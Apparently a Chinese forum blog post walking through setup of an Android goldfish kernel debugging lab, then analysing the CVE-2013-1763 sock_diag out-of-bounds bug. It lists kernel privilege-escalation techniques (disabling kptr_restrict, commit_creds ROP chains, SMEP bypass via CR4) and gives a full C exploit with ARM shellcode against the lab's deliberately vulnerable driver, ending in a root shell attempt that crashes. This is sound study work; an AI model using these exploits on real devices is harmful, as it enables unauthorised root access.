搭建Android内核环境 [复制链接]

2020-4-15 15:43
_luhua_ 阅读:568 评论:0 赞:0
Tag:  环境
本来是想尝试在Android下复现,但最后还是只在Linux下复现成功了,可能还是出现了些纰漏的地方。
 
以前搭建过linux的内核环境,当时是为了做kernel pwn搭建的,但是尝试复现Android kernel的漏洞,虽说原理相同,但还是重新搭建了新的环境。
 
搭建环境的步骤基本没遇到什么大坑,跟着这个库https://github.com/Fuzion24/AndroidKernelExploitationPlayground)走基本就没遇到什么大坑。



配置


playground├── android-sdk-linux├── arm-linux-androideabi-4.6├── goldfish└── kernel_exploit_challenges
git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish && \git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges && \cd goldfish && git checkout -t origin/android-goldfish-3.4 && \git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities



搭建内核


export ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-linux-androideabi- &&\export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH && \cd goldfish && make goldfish_armv7_defconfig && make -j8


编译完成后,就会有两个主要的文件:goldfish/vmlinux 和 goldfish/arch/arm/boot/zImage。前面那个用于在调试时 gdb加载,后面的用于在安卓模拟器启动时加载。

vmlinux 用于提供符号表,zImage 则用于运行环境。
 
然后下载或者编译sdk,下载完成后解压并将 android-sdk-linux/tools 加入环境变量(.bashrc)。

wget http://dl.google.com/android/android-sdk_r24.4.1-linux.tgztar xvf android-sdk_r24.4.1-linux.tgzexport PATH=YOURPATH/android-sdk-linux/tools:$PATH

还要下jdk,在终端中输入 android,下载我们需要的 SDK 和系统镜像。
 



运行模拟器


创建模拟器:
android create avd --force -t "android-19" -n kernel_challenges

其选项按需求选择,反正我一开始是一路enter的。
 
接下来进入 goldfish 目录,执行下面的命令用我们的内核运行模拟器,并在 1234 端口 起一个 gdbserver 方便内核调试。

emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s

再开一个 shell,进入 goldfish 目录,加载 vmlinux 以便调试内核:

arm-linux-androideabi-gdb vmlinux

这里的gdb注意因为前面export path了,所以实际路径是在arm-linux-androideabi-4.6/bin里。
 
出现arm-linux-androideabi-gdb: error while loading shared libraries: libpython2.6.so.1.0: cannot open shared object file: No such file or directory问题时用以下方法即可:

ln -s /usr/lib/x86_64-linux-gnu/libpython2.7.so /lib/x86_64-linux-gnu/libpython2.6.so.1.0

这样基本上就可以调试内核了。
 
整体来说不太复杂,就是拖文件够呛,网络太差了orz。

之前调试kernel pwn题的时候还要烦些,后来用了两种方式搞定kernel环境,一是在虚拟机里搞定后再在本机的vscode 用ssh连接虚拟机,就实现了在vscode边写代码边测试的路子(很舒服),后来还是觉得麻烦因为要关hyper,不能使用wsl处理一般事务,于是就直接在我的pwn docker里直接搭建环境也成功了,然后再用docker共享文件也实现了边写代码边测试的路子(更舒服而且cpu的负荷啥的也小),具体搭建kernel环境的步骤不再累述,网上很多。

二更:分析了cve-2013-1763, 还是踩了一些坑


放一下一些内核的安全利用点(很不全),可以直接看ctf wiki或者其他的类似博客,大佬略过即可。
 

KASLR


内核地址空间随机化,内核地址显示限制,即kptr restrict指示是否限制通过/ proc和其他接口暴露内核地址。

0:默认情况下,没有任何限制。

1:使用%pK格式说明符打印的内核指针将被替换为0,除非用户具有CAP SYSLOG特权。

2:使用%pK打印的内核指针将被替换为0而不管特权。

 
也就是说,当kptr_ restrict被限制的时候我们不能直接通过cat /proc/kallsyms来获得commit_creds的地址,要禁用该限制使用下面的命令:
sudo sysctl -w kernel.kptr_restrict=0
 
内核的rop:

|----------------------|| pop rdi; ret         |<== low mem|----------------------|| NULL                 ||----------------------|| addr of              || prepare_kernel_cred()||----------------------|| mov rdi, rax; ret    ||----------------------|| addr of              || commit_creds()       |<== high mem|----------------------|


smep


smep位于CR4寄存器的第20位,设置为1。CR4寄存器的值:0x1407f0 = 0001 0100 0000 0111 1111 0000

关闭SMEP方法

修改/etc/default/grub文件中的GRUB_CMDLINE_LINUX="",加上nosmep/nosmap/nokaslr,然后update-grub就好。

 
绕过smep的方法

由于我们只能在内核空间执行代码,但是不能把ROP链放到内核空间中,所以只能用stack pivot把ROP链放到用户空间。然后在内核空间找到合适的gadget放到ROP链中。

stack pivot

mov rXx, rsp ; retadd rsp, ...; retxchg rXx, rsp ; ret(xchg eXx, esp ; ret)xchg rsp, rXx ; ret(xchg esp, eXx ; ret)

还有一种比较简单的绕过SMEP的方法是使用ROP翻转CR4的第20位并禁用SMEP,然后再执行commit_creds(prepare_kernel_cred(0))获取root权限。

如下构造:
offset of rippop rdi; retmov CR4, rdi; retcommit_creds(prepare_kernel_cred(0))swapgsiretqRIPCSEFLAGSRSPSS

漏洞的问题点其实不难,做过一点pwn的师傅们都能看的出来是个OOB类型的漏洞,简要分析下。

先看patch,发现增加了个对req->sdiag_family的大小检查,于是定位到这个函数。

 
发现外面还有个封装,不难看出要触发这个函数需要nlh的nlmsg_type类型为SOCK_DIAG_BY_FAMILY。
 

static int sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh){    int ret;     switch (nlh->nlmsg_type) {    case TCPDIAG_GETSOCK:    case DCCPDIAG_GETSOCK:        if (inet_rcv_compat == NULL)            request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,                    NETLINK_SOCK_DIAG, AF_INET);         mutex_lock(&sock_diag_table_mutex);        if (inet_rcv_compat != NULL)            ret = inet_rcv_compat(skb, nlh);        else            ret = -EOPNOTSUPP;        mutex_unlock(&sock_diag_table_mutex);         return ret;    case SOCK_DIAG_BY_FAMILY:        return __sock_diag_rcv_msg(skb, nlh);    default:        return -EINVAL;    }}

可以在linux手册http://man7.org/linux/man-pages/man7/netlink.7.html上看到nlmsghdr结构:

struct nlmsghdr {   __u32 nlmsg_len;    /* Length of message including header */   __u16 nlmsg_type;   /* Type of message content */   __u16 nlmsg_flags;  /* Additional flags */   __u32 nlmsg_seq;    /* Sequence number */   __u32 nlmsg_pid;    /* Sender port ID */}; nlmsg_type can be one of the standard message types: NLMSG_NOOP mes‐sage is to be ignored, NLMSG_ERROR message signals an error and thepayload contains an nlmsgerr structure, NLMSG_DONE message terminatesa multipart message.

要想调用到该结构体,需要使用NETLINK_SOCK_DIAG协议的Netlink套接字发送消息,具体可参考netlink编程http://edsionte.com/techblog/archives/4140)或Netlink Sockethttps://my.oschina.net/longscu/blog/59534,这里就不再累述。
 
再看__sock_diag_rcv_msg函数,可以知道,如果没有patch,那么在sock_diag_lock_handler的参数我们可以调用超过AF_MAX大小的值。

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh){    int err;    struct sock_diag_req *req = nlmsg_data(nlh);    const struct sock_diag_handler *hndl;     if (nlmsg_len(nlh) < sizeof(*req))        return -EINVAL;     if (req->sdiag_family >= AF_MAX)        return -EINVAL;     hndl = sock_diag_lock_handler(req->sdiag_family);    if (hndl == NULL)        err = -ENOENT;    else        err = hndl->dump(skb, nlh);    sock_diag_unlock_handler(hndl);     return err;}

再看sock_diag_lock_handler以及sock_diag_handlers函数组的定义,发现在这里就出现了OOB的问题。

static const inline struct sock_diag_handler *sock_diag_lock_handler(int family){    if (sock_diag_handlers[family] == NULL)        request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,                NETLINK_SOCK_DIAG, family);     mutex_lock(&sock_diag_table_mutex);    return sock_diag_handlers[family];} static const struct sock_diag_handler *sock_diag_handlers[AF_MAX];

根据上面的一些介绍和链接参考基本上就能知道要如何去构造而exp了, 我看网络上公布的exp大致原理相同,可参考1,2,3,而
AndroidKernelExploitationPlayground是自己实现了个类似的漏洞,大致原理原理类似,但无需构造socket去与他交互和填充具体的结构体数值,更加好理解些。

exp的分析一起写在代码里了。

#include <stdio.h>#include <strings.h>#include <fcntl.h>#include <sys/mman.h>#include "../../module/CommandHandler.h"#include "dbg.h" __u32get_symbol(char *name){        FILE *f;        __u32 addr;        char dummy, sname[512];        int ret = 0;         //在/proc/kallsyms文件中存放着结构体的地址,需要读取用来先对偏移        //如果系统开启了内核地址显示限制可以用这个命令禁用        //sudo sysctl -w kernel.kptr_restrict=0        f = fopen("/proc/kallsyms", "r");        if (!f) {                return 0;        }         while (ret != EOF) {                ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);                if (ret == 0) {                        fscanf(f, "%s\n", sname);                        continue;                }                if (!strcmp(name, sname)) {                        printf("[+] resolved symbol %s to %p\n", name, (void *) addr);                        return addr;                }        }         return 0;} __u32 commit_creds;__u32 prepare_kernel_cred; int main(void){     //基本思路一样的,都是最终调用commit_creds(prepare_kernel_cred(0));    commit_creds =  get_symbol("commit_creds");    prepare_kernel_cred = get_symbol("prepare_kernel_cred");     //这个是封装在AndroidKernelExploitationPlayground环境内的漏洞文件位置(这里和其他的exp不同,重点没有去构造socket与其交互,而是直接用其自己实现的伪“函数”,然后用ioctl与其交互。     int cmd_handler = open("/dev/array_index", O_RDWR);    check(cmd_handler >= 0, "Error opening challenge device");     //这里就是构造一块可入可写可执行的用户空间,在这段空间内布置rop链    __u32 mmap_start = 0x02000000, mmap_size = 0x15000;     printf("[+] Mapping userspace memory at 0x%x\n", mmap_start);     void * mapped = mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,        MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);        check(mapped != MAP_FAILED, "Failed mapping");      //0x00000000 is nop for ARM        bzero( (void*)mmap_start, mmap_size );     //这里是arm上的exp,学过arm pwn的师傅们应该也不觉得陌生    //先将prepare_kernel_creds的位置放入r3,在把参数赋为0,即prepare_kernel_creds(0)    //调用r3内的函数(即prepare_kernel_creds)后,由于r0同时担当了保存返回值的角色,于是只需将接下来调用的寄存器赋为commit_creds即可        __u32 jump[] = {           //00000000 <_start>:           /*   0:*/   0xe92d4010,           //  push    {r4, lr}           /*   4:*/   0xe59f3010,           //  ldr r3, [pc, #16]   ; 1c <_start+0x1c> (prepare_kernel_creds)           /*   8:*/   0xe3a00000,           //  mov r0, #0           /*   c:*/   0xe12fff33,           //  blx r3           /*  10:*/   0xe59f3008,           //  ldr r3, [pc, #8]    ; 20 <_start+0x20>  (commit_creds)           /*  14:*/   0xe12fff33,           //  blx r3           /*  18:*/   0xe8bd8010,           //  pop {r4, pc}           /*  1c:*/   prepare_kernel_cred,  //  .word   prepare_kernel_cred           /*  20:*/   commit_creds          //  .word   commit_creds        };     memcpy( (void*)mmap_start+mmap_size - sizeof(jump), jump, sizeof(jump));     /*这里看一下触发的函数吧,都是OOB,但是没那么复杂,不需要构造socket交互,而是换为了ioctl    CommandHandler handlers[] = {       {         .runHandler = &doNothingIntializer       },       {         .runHandler = &doNothingIntializer       }    };    long ai_ch_ioctl(struct file *filp,                      unsigned int cmd,                      unsigned long arg)    {     unsigned int handler_index = arg;       switch (cmd) {        case RUN_COMMAND_HANDLER:           handlers[handler_index].runHandler();           break;        default :           printk("Unknown ioctl cmd: %d", cmd);           return -1;      }      return 0;    }*/     printf("[+] Triggering the exploit\n");    int rc = ioctl(cmd_handler, RUN_COMMAND_HANDLER, 0x601);    check(rc != -1, "IOCTL failed");     printf("uid=%d, euid=%d\n",getuid(), geteuid() );     if(!getuid())      execl( "/system/bin/sh", "sh", (char*) NULL);     return 0;  error:    return -1;}

最后运行时需要注意,不要用串了。我一开始用错一个exp,直接用了exploit-db上的exp,而其对应的linux内核版本是3.3-3.8,而在Android模拟器上复现的话,还是用ndk编译,且具体的数据构造和exp内容(特别是汇编部分)还是不一样的,注意查看下对应的系统结构比如下面这个,注意对应的gcc版本,一开始没注意还运行不起来。

Linux version 3.4.67-g5e0dcfb (test@test-virtual-machine) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 PREEMPT Sun Mar 8 14:27:12 CST 2020

执行后程序报错,可能还是有些不准,pc值是0有些迷惑。

Unable to handle kernel NULL pointer dereference at virtual address 00000000pgd = d77c4000[00000000] *pgd=177bc831, *pte=00000000, *ppte=00000000Internal error: Oops: 80000017 [#1] PREEMPT ARMCPU: 0    Not tainted  (3.4.67-g5e0dcfb #1)PC is at 0x0LR is at ai_ch_ioctl+0x20/0x40pc : [<00000000>]    lr : [<c025c1c0>]    psr: 60000013sp : d77a3f18  ip : 00000005  fp : bec41b48r10: 00000000  r9 : d77a2000  r8 : 00000000r7 : 00000005  r6 : d768cc80  r5 : de05d590  r4 : 00000601r3 : 00000000  r2 : c04adc40  r1 : 00001337  r0 : d768cc80Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment userControl: 10c53c7d  Table: 177c4059  DAC: 00000015 [<c025c1c0>] (ai_ch_ioctl+0x20/0x40) from [<c00bf208>] (do_vfs_ioctl+0x560/0x5d4)[<c00bf208>] (do_vfs_ioctl+0x560/0x5d4) from [<c00bf2c8>] (sys_ioctl+0x4c/0x6c)[<c00bf2c8>] (sys_ioctl+0x4c/0x6c) from [<c000d680>] (ret_fast_syscall+0x0/0x30)Code: bad PC value---[ end trace 6e436d5d54b1e15f ]---Kernel panic - not syncing: Fatal exception

未完待续吧,这个库里面还是有很多其他漏洞的,也推荐给想做arm上kernel漏洞复现的同学,但可能给android上的体会不太深,比较和Linux内核类似,且这次踩坑的时候心态有些炸了,具体的调试分析也直接草草分析过掉,希望下次能好些吧,争取复现下其他层次的漏洞。

唉,漫漫长路啊。

我来说两句
您需要登录后才可以评论 登录 | 立即注册
facelist
所有评论(0)
领先的中文移动开发者社区
18620764416
7*24全天服务
意见反馈:1294855032@qq.com

扫一扫关注我们

Powered by Discuz! X3.2© 2001-2019 Comsenz Inc.( 粤ICP备15117877号 )